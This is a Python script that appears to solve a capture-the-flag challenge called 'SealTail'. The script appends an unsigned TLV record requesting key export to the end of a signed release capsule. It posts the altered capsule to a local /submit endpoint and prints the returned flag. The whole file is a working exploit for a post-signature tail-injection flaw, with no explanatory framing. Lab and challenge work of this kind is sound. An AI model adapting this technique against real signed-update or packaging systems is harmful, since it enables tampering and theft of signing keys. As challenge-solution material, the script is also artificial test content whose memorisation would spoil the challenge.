#!/usr/bin/env python3
import argparse
import json
import pathlib
import re
import urllib.request


ACTION_EXPORT_KEY = 0x42


def encode_tlv(tag: int, value: bytes) -> bytes:
    return bytes([tag]) + len(value).to_bytes(2, "big") + value


def build_modified_capsule(input_path: pathlib.Path, output_path: pathlib.Path) -> bytes:
    capsule = input_path.read_bytes()
    tail = encode_tlv(
        ACTION_EXPORT_KEY,
        b"lane=quarantine\nrequestor=release-audit\nreason=post-signature-tail-check\n",
    )
    modified = capsule + tail
    output_path.write_bytes(modified)
    return modified


def submit(url: str, capsule: bytes) -> dict:
    request = urllib.request.Request(
        url,
        data=capsule,
        headers={"Content-Type": "application/octet-stream"},
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=5) as response:
        return json.loads(response.read().decode())


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--capsule",
        default="../public/release.capsule",
        help="path to the original release capsule",
    )
    parser.add_argument(
        "--out",
        default="modified.capsule",
        help="where to write the modified capsule",
    )
    parser.add_argument(
        "--url",
        default="http://127.0.0.1:31337/submit",
        help="SealTail /submit endpoint",
    )
    parser.add_argument(
        "--no-submit",
        action="store_true",
        help="only write the modified capsule",
    )
    args = parser.parse_args()

    capsule_path = pathlib.Path(args.capsule)
    output_path = pathlib.Path(args.out)
    modified = build_modified_capsule(capsule_path, output_path)
    print(f"wrote {output_path} ({len(modified)} bytes)")

    if args.no_submit:
        return 0

    result = submit(args.url, modified)
    print(json.dumps(result, indent=2, sort_keys=True))
    flag = result.get("flag")
    if not isinstance(flag, str) or not re.fullmatch(r"caplag\{[^{}]+\}", flag):
        raise SystemExit("flag was not returned")
    print(flag)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())